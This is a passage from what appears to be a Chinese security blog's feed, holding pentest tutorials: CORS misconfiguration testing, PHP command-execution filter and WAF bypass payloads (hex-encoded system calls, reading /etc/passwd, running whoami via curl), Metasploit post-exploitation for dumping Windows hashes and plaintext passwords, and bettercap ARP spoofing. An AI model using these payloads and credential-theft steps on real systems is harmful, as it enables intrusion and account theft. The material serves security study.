class="line">Traceback (most recent call last):</span><br><span class="line"> File <span class="string">"<stdin>"</span>, line <span class="number">1</span>, <span class="keyword">in</span> <module></span><br><span class="line">struct.error: pack expected <span class="number">2</span> items <span class="keyword">for</span> packing (got <span class="number">1</span>)</span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'ii'</span>, <span class="number">11</span>, <span class="number">22</span>)</span><br><span class="line"><span class="string">'\x0b\x00\x00\x00\x16\x00\x00\x00'</span> <span class="comment"># 由于一个 i 表示 4 个字节,所以最后转换为 8 个字节</span></span><br><span class="line"><span class="meta">>>> </span>struct.unpack(<span class="string">'ii'</span>, <span class="string">'\x0b\x00\x00\x00\x16\x00\x00\x00'</span>)</span><br><span class="line">(<span class="number">11</span>, <span class="number">22</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'hh'</span>, <span class="number">11</span>, <span class="number">22</span>)</span><br><span class="line"><span class="string">'\x0b\x00\x16\x00'</span> <span class="comment"># 由于一个 h 表示 2 个字节,所以最后转换为4个字节</span></span><br><span class="line"></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'2h'</span>, <span class="number">11</span>, <span class="number">22</span>)</span><br><span class="line"><span class="string">'\x0b\x00\x16\x00'</span> <span class="comment"># 多个连续的相同格式可以在前面加数字表示个数</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'h s'</span>, <span class="number">1</span>, <span class="string">'2d'</span>)</span><br><span class="line"><span class="string">'\x01\x002'</span> <span class="comment"># 丢掉一个d</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'h 2s'</span>, <span class="number">1</span>, <span class="string">'2d'</span>)</span><br><span class="line"><span class="string">'\x01\x002d'</span> <span class="comment"># 正好</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'h 3s'</span>, <span class="number">1</span>, <span class="string">'2d'</span>)</span><br><span class="line"><span class="string">'\x01\x002d\x00'</span> <span class="comment"># 多出一个字节\x00补齐</span></span><br></pre></td></tr></table></figure>
<p>还有一类特殊字符,如果放在开头,可以改变排列方式。</p>
<table>
<thead>
<tr>
<th>Character</th>
<th>Byte order</th>
<th>Size and alignment</th>
</tr>
</thead>
<tbody>
<tr>
<td>@</td>
<td>native</td>
<td>native 凑够 4 个字节</td>
</tr>
<tr>
<td>=</td>
<td>native</td>
<td>standard 按原字节数</td>
</tr>
<tr>
<td><</td>
<td>little-endian</td>
<td>standard 按原字节数</td>
</tr>
<tr>
<td>></td>
<td>big-endian</td>
<td>standard 按原字节数</td>
</tr>
<tr>
<td>!</td>
<td>network (= big-endian)</td>
<td>standard 按原字节数</td>
</tr>
</tbody>
</table>
<p>实例:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'h'</span>, <span class="number">1</span>)</span><br><span class="line"><span class="string">'\x01\x00'</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'>h'</span>, <span class="number">1</span>)</span><br><span class="line"><span class="string">'\x00\x01'</span> <span class="comment"># 高位占高位,低位占地位,常用于网络传输</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'<h'</span>, <span class="number">1</span>)</span><br><span class="line"><span class="string">'\x01\x00'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'!i'</span>, <span class="number">44</span>)</span><br><span class="line"><span class="string">'\x00\x00\x00,'</span></span><br><span class="line"><span class="meta">>>> </span>struct.pack(<span class="string">'i'</span>, <span class="number">44</span>)</span><br><span class="line"><span class="string">',\x00\x00\x00'</span></span><br></pre></td></tr></table></figure>
<ul>
<li>calcsize 方法用于根据传入格式计算长度</li>
</ul>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>struct.calcsize(<span class="string">'i'</span>)</span><br><span class="line"><span class="number">4</span></span><br><span class="line"><span class="meta">>>> </span>struct.calcsize(<span class="string">'i2s'</span>)</span><br><span class="line"><span class="number">6</span></span><br><span class="line"><span class="meta">>>> </span>struct.calcsize(<span class="string">'i2s4h'</span>)</span><br><span class="line"><span class="number">14</span></span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>本教程适合有一定编程语言基础的读者,通过快速了解 Python 与其他语言共有的特性与独有的特点来快速掌握 Python,同时作为一个备忘录
</summary>
<category term="python" scheme="http://myt0.com/categories/python/"/>
<category term="python" scheme="http://myt0.com/tags/python/"/>
</entry>
<entry>
<title>CORS测试</title>
<link href="http://myt0.com/2019/03/05/CORS%E6%B5%8B%E8%AF%95/"/>
<id>http://myt0.com/2019/03/05/CORS测试/</id>
<published>2019-03-05T10:19:46.000Z</published>
<updated>2020-02-22T15:54:10.533Z</updated>
<content type="html"><![CDATA[<h3 id="什么是-CORS"><a href="#什么是-CORS" class="headerlink" title="什么是 CORS"></a>什么是 CORS</h3><p>CORS 指 Cross-Origin Resource Sharing,浏览器用来判断是否可以访问其他网站的资源和服务,比如 AJAX 跨域。</p>
<p>比如说 A 站点的页面需要通过 AJAX 请求 B 站点的服务,浏览器发送 AJAX 请求时会增加 Origin 头:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Origin: http://foo.bar</span><br></pre></td></tr></table></figure>
<p>之后 B 站点收到请求,分析 Origin,如果允许就返回相应的 Access-Control-Allow-Origin 字段:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Access-Control-Allow-Origin: http://foo.bar</span><br></pre></td></tr></table></figure>
<p>Access-Control-Allow-Origin 用来指定允许哪些域名 CORS,浏览器根据这个值来决定请求要不要正常给 A 站点。这一字段有可能配置不当引起任意跨域。</p>
<h3 id="如何测试"><a href="#如何测试" class="headerlink" title="如何测试"></a>如何测试</h3><p>给目标站点发送一个包含 Origin 的 request:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GET http://target.domain/file.php HTTP/1.1</span><br><span class="line">Host: target.domain</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;)</span><br><span class="line">Gecko/20100101 Firefox/24.0</span><br><span class="line">Accept: text/html</span><br><span class="line">Accept-Language: en-US</span><br><span class="line">Referer: http://foo.bar/</span><br><span class="line">Origin: http://foo.bar/</span><br><span class="line">Connection: keep-alive</span><br></pre></td></tr></table></figure>
<p>如果返回 Response 包含 Access-Control-Allow-Origin: *,表示允许任何网站跨域请求:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.1 200 OK</span><br><span class="line">Date: Fri, 23 NOV 2018 18:57:53 GMT</span><br><span class="line">Server: Apache/2.2.22 (Debian)</span><br><span class="line">X-Powered-By: PHP/5.4.4-14+deb7u3</span><br><span class="line">Access-Control-Allow-Origin: *</span><br><span class="line">Content-Length: 44</span><br><span class="line">Keep-Alive: timeout=18, max=89</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-Type: application/xml</span><br><span class="line">[Response Body]</span><br></pre></td></tr></table></figure>
<p>还有另一种情况,如果你发送一个随意的 Origin 值,对方会返回相同的 Access-Control-Allow-Origin 值。<br>测试工具的话,随意找个发送 header 头的就能测试,比如 burpsuite、curl。<br>另外我写了个脚本来判断 <a href="https://github.com/coldhurt/pycode/blob/master/cors_check.py" target="_blank" rel="external">https://github.com/coldhurt/pycode/blob/master/cors_check.py</a><br>因为 Origin 可以更改,所以不推荐根据 Origin 来生成 Access-Control-Allow-Origin 值,正确做法是用固定的值,只允许那些你允许的网站。</p>
<p>参考:<a href="https://www.owasp.org/index.php/CORS_OriginHeaderScrutiny" target="_blank" rel="external">https://www.owasp.org/index.php/CORS_OriginHeaderScrutiny</a></p>
]]></content>
<summary type="html">
<h3 id="什么是-CORS"><a href="#什么是-CORS" class="headerlink" title="什么是 CORS"></a>什么是 CORS</h3><p>CORS 指 Cross-Origin Resource Sharing,浏览器用来判断是否
</summary>
<category term="pentest" scheme="http://myt0.com/categories/pentest/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
<category term="web" scheme="http://myt0.com/tags/web/"/>
<category term="cors" scheme="http://myt0.com/tags/cors/"/>
</entry>
<entry>
<title>PHP命令执行时的WAF&Filter绕过方法</title>
<link href="http://myt0.com/2019/03/03/php%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CWAF-Filter%E7%BB%95%E8%BF%87/"/>
<id>http://myt0.com/2019/03/03/php命令执行WAF-Filter绕过/</id>
<published>2019-03-03T08:53:43.000Z</published>
<updated>2020-02-22T15:52:03.657Z</updated>
<content type="html"><![CDATA[<h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>命令执行是非常危险的一种漏洞,会造成严重的信息泄露,还可能导致 getshell,本文介绍如何去绕过一些简单的防命令执行,仅仅提供一种思路,实际情况各有不同。<br>先来看一段存在命令执行漏洞的 php 代码:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">'/system|exec|passthru/'</span>, $_GET[<span class="string">'code'</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'invalid syntax'</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">eval</span>($_GET[<span class="string">'code'</span>]);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>第二行试图校验 system, exec, passthru 三个函数,但这明显是远远不够的,还有很多其他的函数可以执行命令,但这里让我们假设只有这三个,这个脚本运行于 CloudFlare WAF 之后,</p>
<h3 id="尝试读取-etc-passwd"><a href="#尝试读取-etc-passwd" class="headerlink" title="尝试读取/etc/passwd"></a>尝试读取/etc/passwd</h3><p>我们尝试请求/cfwaf.php?code=system(“cat /etc/passwd”); 这时 WAF 拒绝了我们的请求,我们可以假设是因为 /etc/passwd 这一重要文件引起,所以我们尝试修改为”cat /etc\$u/passwd”,这时候由于存在 system 关键词,会输出’invalid syntax’,接下来考虑怎么样可以避免直接使用 system。</p>
<h3 id="php-字符串编码"><a href="#php-字符串编码" class="headerlink" title="php 字符串编码"></a>php 字符串编码</h3><p>\[0-7]{1-3}代表八进制</p>
<p>\x[0-9A-Fa-f]{1,2}代表 16 进制</p>
<p>\u{[0-9A-Fa-f]{1,2}}代表 Unicode 编码,通常实现为 UTF-8</p>
<p>并不是所有人都知道这么多表示字符串的语法,再加上 php 变量函数,这将会成为我们绕过 WAF 或者 filter 的瑞士军刀。</p>
<h3 id="php-变量函数"><a href="#php-变量函数" class="headerlink" title="php 变量函数"></a>php 变量函数</h3><p>php 支持通过变量调用函数,比如</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$var(args);</span><br><span class="line"><span class="string">"string"</span>(args);</span><br></pre></td></tr></table></figure>
<p>都可以当做函数调用。这也就意味着我们可以进行如下转化:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">system(<span class="string">"ls"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">"system"</span>(<span class="string">"ls"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">"\x73\x79\x73\x74\x65\x6d"</span>(<span class="string">"ls"</span>)</span><br></pre></td></tr></table></figure>
<p>第三种直接将 system 转为 16 进制来执行,这样我们做到了不直接使用 system。</p>
<p>这种技术并不是适用于所有函数,比如 echo, print, unset(), isset(), empty(), include, require 这种类函数语句是不能用上面这种方式代替的。</p>
<h3 id="不使用引号"><a href="#不使用引号" class="headerlink" title="不使用引号"></a>不使用引号</h3><p>代码修改为</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">'/system|exec|passthru|[\"\']/'</span>, $_GET[<span class="string">'code'</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'invalid syntax'</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">eval</span>($_GET[<span class="string">'code'</span>]);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>可以看到我们加入了单引号和双引号的判断,这就意味着我们上面那些语句都会触发过滤。<br>幸运的是,在 PHP 里,我们表示一个字符串并不一定要用引号,比如<br><code>$a = (string)foo;</code><br>接着我们尝试如下转换:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">echo</span> <span class="string">"foo"</span>;</span><br><span class="line"><span class="keyword">echo</span> (string)<span class="string">"bar"</span>;</span><br><span class="line"><span class="keyword">echo</span> (string)hello;</span><br><span class="line"><span class="keyword">echo</span> (world);</span><br></pre></td></tr></table></figure>
<p>执行过后你会发现连 string 都没必要使用,直接用括号就可以转换。也就是说我们执行<code>(system)(ls);</code>是被允许的,但是我们不能用 system,所以尝试字符串拼接<code>(sy.(st).em)(ls);</code>。或者我们加两个参数,绕过对于 code 参数的检测<br><code>?a=system&b=ls&code=$_GET[a]($_GET[b])</code><br>也就是说我们可以通过字符串拼接和变量调用两种方式来绕过。</p>
<h3 id="get-defined-functions"><a href="#get-defined-functions" class="headerlink" title="get_defined_functions"></a>get_defined_functions</h3><p>get_defined_functions 返回一个数组,假设是\$arr, 里面包含所有的内置和自定义函数。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$arr = get_defined_functions();</span><br><span class="line"><span class="comment"># 所有内置函数</span></span><br><span class="line">$arr[internal]</span><br><span class="line"><span class="comment"># 所有自定义函数</span></span><br><span class="line">$arr[user]</span><br></pre></td></tr></table></figure>
<p>比如我们尝试执行</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php -r 'print_r(get_defined_functions()[internal]);' | grep 'system'</span><br></pre></td></tr></table></figure>
<p>即可知道 system 函数是第几个函数,我这里是第 503,所以绕过上面的过滤时就可以这样:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 先找到system的位置</span></span><br><span class="line">curl <span class="string">'http://test/cfwaf.php?code=get_defined_functions()[internal]'</span> | grep <span class="string">'system'</span></span><br><span class="line"></span><br><span class="line">curl <span class="string">'http://test/cfwaf.php?code=get_defined_functions()[internal][503](whoami)'</span></span><br></pre></td></tr></table></figure>
<h3 id="字符数组"><a href="#字符数组" class="headerlink" title="字符数组"></a>字符数组</h3><p>在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 相当于执行(system)(ls /tmp)</span></span><br><span class="line">php -r <span class="string">'$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'</span></span><br></pre></td></tr></table></figure>
<p>这样在请求的时候我们可以取<strong>FILE</strong>路径名的字符来构造我们的 payload。</p>
<p>本文参考自 <a href="https://www.exploit-db.com/docs/46049" target="_blank" rel="external">https://www.exploit-db.com/docs/46049</a></p>
]]></content>
<summary type="html">
<h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>命令执行是非常危险的一种漏洞,会造成严重的信息泄露,还可能导致 getshell,本文介绍如何去绕过一些简单的防命令执行,仅仅提供一种思路,
</summary>
<category term="pentest" scheme="http://myt0.com/categories/pentest/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
<category term="php" scheme="http://myt0.com/tags/php/"/>
<category term="bypass" scheme="http://myt0.com/tags/bypass/"/>
</entry>
<entry>
<title>windows后渗透利用</title>
<link href="http://myt0.com/2019/03/03/windows%E5%90%8E%E6%B8%97%E9%80%8F%E5%88%A9%E7%94%A8/"/>
<id>http://myt0.com/2019/03/03/windows后渗透利用/</id>
<published>2019-03-02T20:31:18.000Z</published>
<updated>2020-02-22T15:52:22.373Z</updated>
<content type="html"><![CDATA[<h2 id="获取-hash"><a href="#获取-hash" class="headerlink" title="获取 hash"></a>获取 hash</h2><h3 id="meterpreter"><a href="#meterpreter" class="headerlink" title="meterpreter"></a>meterpreter</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ meterpreter > hashdump</span><br></pre></td></tr></table></figure>
<p>将 hash 值保存到文件中,然后用 john 破解:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">john --wordlist=/root/Desktop/pass.txt --format=NT /root/Desktop/hashes.txt</span><br></pre></td></tr></table></figure>
<h3 id="hashdump"><a href="#hashdump" class="headerlink" title="hashdump"></a>hashdump</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ msf > use post/windows/gather/hashdump</span><br><span class="line">$ msf post(hashdump) > set session 2</span><br><span class="line">$ msf post(hashdump) > exploit</span><br></pre></td></tr></table></figure>
<h3 id="smart-hashdump"><a href="#smart-hashdump" class="headerlink" title="smart_hashdump"></a>smart_hashdump</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ msf > use post/windows/gather/smart_hashdump</span><br><span class="line">$ msf post(hashdump) > set session 2</span><br><span class="line">$ msf post(hashdump) > exploit</span><br></pre></td></tr></table></figure>
<h3 id="credential-collector"><a href="#credential-collector" class="headerlink" title="credential_collector"></a>credential_collector</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ msf > use post/windows/gather/credentials/credential_collector</span><br><span class="line">$ msf post(credential_collector) > set session 2</span><br><span class="line">$ msf post(credential_collector) > exploit</span><br></pre></td></tr></table></figure>
<p>上面 4 种得到的都是 hash,需要破解,下面看看怎么直接得到明文密码。</p>
<h2 id="获取明文密码"><a href="#获取明文密码" class="headerlink" title="获取明文密码"></a>获取明文密码</h2><h3 id="sso-模块"><a href="#sso-模块" class="headerlink" title="sso 模块"></a>sso 模块</h3><p>实际上这一功能利用的是 Mimikatz 扩展。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">msf > use post/windows/gather/credentials/sso</span><br><span class="line">msf post(sso) > set session 2</span><br><span class="line">msf post(sso) > exploit</span><br></pre></td></tr></table></figure>
<h3 id="meterpreter-kiwi"><a href="#meterpreter-kiwi" class="headerlink" title="meterpreter kiwi"></a>meterpreter kiwi</h3><p>这也是用的 Mimikatz</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">meterpreter > load kiwi</span><br><span class="line">meterpreter > creds_all</span><br></pre></td></tr></table></figure>
<h3 id="伪造登录框"><a href="#伪造登录框" class="headerlink" title="伪造登录框"></a>伪造登录框</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">msf > use post/windows/gather/phish_windows_credentials</span><br><span class="line">msf post(phish_windows_credentials) > set session 2</span><br><span class="line">msf post(phish_windows_credentials) > exploit</span><br></pre></td></tr></table></figure>
<p>这时候会伪造假冒的登录框,对方输入密码之后我们就可以得到了。</p>
<h2 id="更改目标密码"><a href="#更改目标密码" class="headerlink" title="更改目标密码"></a>更改目标密码</h2><h3 id="change-password"><a href="#change-password" class="headerlink" title="change_password"></a>change_password</h3><p>这种主要适用于你创建了一个新账号,但是对方账号策略强制在登录之前必须修改密码,否则你登录会报错:’System error 1907 has occurred’。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">msf > use post/windows/manage/change_password</span><br><span class="line">msf post(change_password) > set smbuser raj</span><br><span class="line">msf post(change_password) > set old_password 123</span><br><span class="line">msf post(change_password) > set new_password 987</span><br><span class="line">msf post(change_password) > set session 1</span><br><span class="line">msf post(change_password) > exploit</span><br></pre></td></tr></table></figure>
<h3 id="net-user"><a href="#net-user" class="headerlink" title="net user"></a>net user</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">meterepreter> shell</span><br><span class="line">net user</span><br><span class="line">net user raj 123</span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<h2 id="获取-hash"><a href="#获取-hash" class="headerlink" title="获取 hash"></a>获取 hash</h2><h3 id="meterpreter"><a href="#meterpreter" class="he
</summary>
<category term="pentest" scheme="http://myt0.com/categories/pentest/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
<category term="metasploit" scheme="http://myt0.com/tags/metasploit/"/>
</entry>
<entry>
<title>bettercap</title>
<link href="http://myt0.com/2019/03/01/%E4%B8%AD%E9%97%B4%E4%BA%BA%E5%B7%A5%E5%85%B7bettercap/"/>
<id>http://myt0.com/2019/03/01/中间人工具bettercap/</id>
<published>2019-03-01T07:52:51.000Z</published>
<updated>2020-02-22T15:49:52.364Z</updated>
<content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>bettercap 用于中间人攻击测试,并可以应用于 wifi 网络的一些测试。</p>
<p>官网:<a href="https://www.bettercap.org/" target="_blank" rel="external">https://www.bettercap.org/</a></p>
<p>项目地址:<a href="https://github.com/bettercap/bettercap" target="_blank" rel="external">https://github.com/bettercap/bettercap</a></p>
<h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>官网介绍的安装命令:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ go get github.com/bettercap/bettercap</span><br><span class="line">$ <span class="built_in">cd</span> <span class="variable">$GOPATH</span>/src/github.com/bettercap/bettercap</span><br><span class="line">$ make build && sudo make install</span><br></pre></td></tr></table></figure>
<p>因为我用的 parrot 中默认自带了,所以我没有尝试过安装,如果 kali 中没有这一工具,貌似也可以 apt install 直接安装,如果不能就按照官网介绍的安装命令来吧。</p>
<h2 id="常见用法"><a href="#常见用法" class="headerlink" title="常见用法"></a>常见用法</h2><h3 id="基本介绍"><a href="#基本介绍" class="headerlink" title="基本介绍"></a>基本介绍</h3><p>bettercap 有两种用法:</p>
<ol>
<li>直接执行会进入交互式模式</li>
<li>非交互模式,命令<code>-caplet 文件</code>执行脚本文件,通过编写脚本可以组合复杂的攻击,或者<code>-eval 命令</code>直接执行命令内容。</li>
</ol>
<p><code>-h</code>输出帮助信息。</p>
<p><code>-iface 网卡</code>指定网卡对应的网络,比如 wlan0。</p>
<h3 id="内网发现"><a href="#内网发现" class="headerlink" title="内网发现"></a>内网发现</h3><p>进入交互模式</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo bettercap -iface eth1</span><br></pre></td></tr></table></figure>
<p>展示网络情况</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net.show</span><br></pre></td></tr></table></figure>
<p>执行过后会展示被动发现的网络主机,但有些需要主动发现,使用</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net.probe on</span><br></pre></td></tr></table></figure>
<p>启用主动发现之后会产生一系列数据包探测网络,接着重复<code>net.show</code>会看到新发现的网络主机。</p>
<p><code>ticker on</code>为定时器模块,可以重复执行命令,默认执行的命令是<code>clear; net.show</code>,所以我们执行</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo bettercap -iface eth1 -eval "net.probe on;ticker on"</span><br></pre></td></tr></table></figure>
<p>会开启内网探测,并重复刷新显示最新探测到的网络状况。</p>
<p>交互式模式下使用以下命令修改 ticker 执行的内容</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set ticker.commands 'command'</span><br></pre></td></tr></table></figure>
<p>设置执行 ping 检测是否连接到外网:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"'</span><br></pre></td></tr></table></figure>
<p>设置执行间隔时间为 3 秒</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set ticker.period 3</span><br></pre></td></tr></table></figure>
<p>开启定时器:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ticker on</span><br></pre></td></tr></table></figure>
<p>使用命令模式一步执行上面的所有内容:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected""; set ticker.period 3; ticker on'</span><br></pre></td></tr></table></figure>
<p>我们可以使用-caplet 参数,指定一个包含命令的 cap 文件来代替-eval,这样就不用每次都输入一大串命令。<br>新建一个 netmon.cap,内容如下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">net.probe on</span><br><span class="line"># Note the absence of quotes in this example and the quotes in the previous ones:</span><br><span class="line">set ticker.commands clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"</span><br><span class="line">set ticker.period 3</span><br><span class="line">ticker on</span><br></pre></td></tr></table></figure>
<p>然后执行:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo better -caplet ./netmon.cap</span><br></pre></td></tr></table></figure>
<h3 id="欺骗和嗅探"><a href="#欺骗和嗅探" class="headerlink" title="欺骗和嗅探"></a>欺骗和嗅探</h3><p>开启 ARP 欺骗:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arp.spoof on</span><br></pre></td></tr></table></figure>
<p>默认情况下,会对整个子网进行欺骗,所以通常我们要设置对应的 IP,而不是攻击所有主机:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set arp.spoof.targets 192.168.66.3</span><br></pre></td></tr></table></figure>
<p>要设置多个 IP 的话使用逗号间隔<br>接下来看看网络情况:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net.show</span><br></pre></td></tr></table></figure>
<p>在启动 ARP 欺骗之前一定要设置目标,如果要改变目标 IP,先停止欺骗:</p>
